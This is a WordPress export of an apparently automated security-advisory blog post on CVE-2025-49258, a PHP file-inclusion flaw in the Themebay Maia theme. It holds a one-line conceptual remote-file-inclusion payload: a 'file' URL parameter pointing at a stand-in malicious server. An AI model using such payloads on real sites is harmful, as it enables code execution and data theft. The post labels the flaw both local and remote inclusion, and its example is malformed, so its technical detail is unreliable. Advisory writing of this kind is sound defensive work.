{"id":55902,"date":"2025-06-29T08:29:16","date_gmt":"2025-06-29T08:29:16","guid":{"rendered":""},"modified":"2025-07-05T11:19:23","modified_gmt":"2025-07-05T17:19:23","slug":"cve-2025-49258-critical-php-local-file-inclusion-vulnerability-in-themebay-maia","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49258-critical-php-local-file-inclusion-vulnerability-in-themebay-maia\/","title":{"rendered":"CVE-2025-49258: Critical PHP Local File Inclusion Vulnerability in Themebay Maia<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The CVE-2025-49258 vulnerability pertains to an improper control of the filename for Include\/Require Statement in PHP Program, more commonly known as ‘PHP Remote File Inclusion’ vulnerability. This vulnerability impacts Themebay Maia, a popular software product, potentially leading to system compromise or data leakage, hence its CVSS severity score of 8.1. This blog post aims to provide a comprehensive understanding of this vulnerability<\/a>, highlighting why it matters, who it affects, and the steps to mitigate it.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-49258
\nSeverity: Critical (8.1 CVSS Score)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: System compromise or data<\/a> leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Themebay Maia | n\/a through 1.1.15<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability lies in the improper control<\/a> of the filename in the Include\/Require statement of a PHP program. An attacker could potentially manipulate this flaw to include a file from a remote server that contains malicious PHP<\/a> code. Upon execution of the code<\/a>, the attacker could gain unauthorized access to the system, leading to a system compromise or data leakage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here’s a conceptual example of how the vulnerability might be exploited:<\/p>\n

\/?file=http:\/\/\/malicious_file\n?><\/code><\/pre>\n
In the above example, the attacker modifies the ‘file’ GET parameter in the URL to include a PHP file from a remote, malicious serve<\/a>r.<\/p>\n
Remediation<\/strong><\/p>\n
As a mitigation measure, it is recommended to apply the vendor patch as soon as it becomes available. If immediate patching is not possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. It is also crucial to enforce proper input validation techniques, such as whitelisting of acceptable inputs, to prevent such vulnerabilities<\/a> in the future.<\/p>\n","protected":false},"excerpt":{"rendered":"
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